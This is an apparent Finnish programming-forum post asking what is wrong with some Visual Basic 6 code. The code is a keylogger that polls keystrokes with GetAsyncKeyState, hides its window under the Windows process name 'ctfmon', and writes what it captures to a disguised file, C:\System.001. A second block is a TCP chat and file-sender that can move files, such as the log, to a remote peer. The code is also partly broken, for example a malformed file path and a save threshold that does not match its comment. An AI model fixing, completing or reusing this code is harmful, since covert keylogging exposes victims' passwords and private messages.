Keskustelu: Ohjelmointikysymykset: VB6: Mitä vikaa

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Merkki As Integer
Dim Sana As String


Private Sub Form_Load()
Timer1.Interval = 90
ctfmon.Visible = False
Timer1.Enabled = True
Sana = ""
Merkki = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
Savettaa 'jos lopetetaan yllättäen tallentaa
End Sub

Private Sub Timer1_Timer()

    For kk = 65 To 90 'käydään läpi isot kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 97 To 122 'käydään läpi pienet kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 47 To 58 'käydään läpi numerot
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space

    If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä
    If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä
    If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä

    Exit Sub
uush:

    Sana = Sana & Chr(pk) 'lisätään sanaan merkki
    Merkki = Merkki + 1 'lisätään merkkilaskuriin 1
    If Merkki >= 1 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa
    'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä)

End Sub

Sub Savettaa()
    Open App.Path & "C:\System.001" For Append As #1
        Print #1, Sana
    Close #1
    Merkki = 1
    Sana = ""
End Sub

Option Explicit
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private FileData As String
Private Fsize As Double

Sub Pause(HowLong As Long)
    Dim u%, tick As Long
    tick = GetTickCount()

    Do
      u% = DoEvents
    Loop Until tick + HowLong < GetTickCount
End Sub

Public Sub Command1_Click()
CommonDialog1.Filename = ""
CommonDialog1.ShowOpen
If Not CommonDialog1.Filename = "" Then Text344.Text = CommonDialog1.Filename

End Sub

Public Sub Command2_Click()
If Text344.Text = "" Then Exit Sub
Me.SendFile Text344.Text
End Sub



Private Sub tcpsocket_Connect()
Text2.Caption = "Connected"
Pause 1000
Text2.Caption = ""
End Sub


Private Sub tcpsocket_ConnectionRequest(ByVal requestID As Long)
tcpsocket.Close
tcpsocket.Accept requestID

Text2.Caption = "Connected"
Pause 1000
Text2.Caption = ""

End Sub

Private Sub tcpsocket_DataArrival(ByVal bytesTotal As Long)
Dim str As String
tcpsocket.GetData str

Dim data As String, command As String

command = Left(str, 5)
data = Right(str, Len(str) - 5)

Select Case command

Case "chat "
Text1.Text = Text1.Text + vbNewLine + data

Case "data "
FileData = FileData & data
Text2.Caption = "File Recieving " & Len(FileData)
Bar1.Value = Bar1.Value + Len(data)

Case "save "
Save App.Path & "\" & data
Text2.Caption = ""
Text1.Text = Text1.Text + vbNewLine + "File Recieved"
Bar1.Value = 0

Case "size "
Fsize = data
Bar1.Min = 0
Bar1.Max = Fsize
Bar1.Value = 0

End Select
End Sub


Function SendFile(Fname As String)
On Error Resume Next

If tcpsocket.State <> sckConnected Then Exit Function

Dim Filename As String, DataChunk As String
DataChunk = Empty

Dim Fsys As New Scripting.FileSystemObject
Filename = Fsys.GetFile(Fname).Name
Dim size As Double
size = 0
Bar1.Min = 0
Bar1.Max = Fsys.GetFile(Fname).size
Bar1.Value = 0
tcpsocket.SendData "size " & Fsys.GetFile(Fname).size
Pause 200

Open Fname For Binary As #1
Do While Not EOF(1)
DataChunk = Input(5120, #1)
tcpsocket.SendData "data " & DataChunk
Bar1.Value = Bar1.Value + Len(DataChunk)
size = size + Len(DataChunk)
Text2.Caption = "File Sending " & size
Pause 200
DoEvents
Loop
Close #1

tcpsocket.SendData "save " & Filename
Text1.Text = Text1.Text + vbNewLine + "File Send"
Text2.Caption = ""
Bar1.Value = 0
End Function


Function Save(Fname As String)
Open Fname For Binary As #1
Put #1, , FileData
Close #1

FileData = Empty
End Function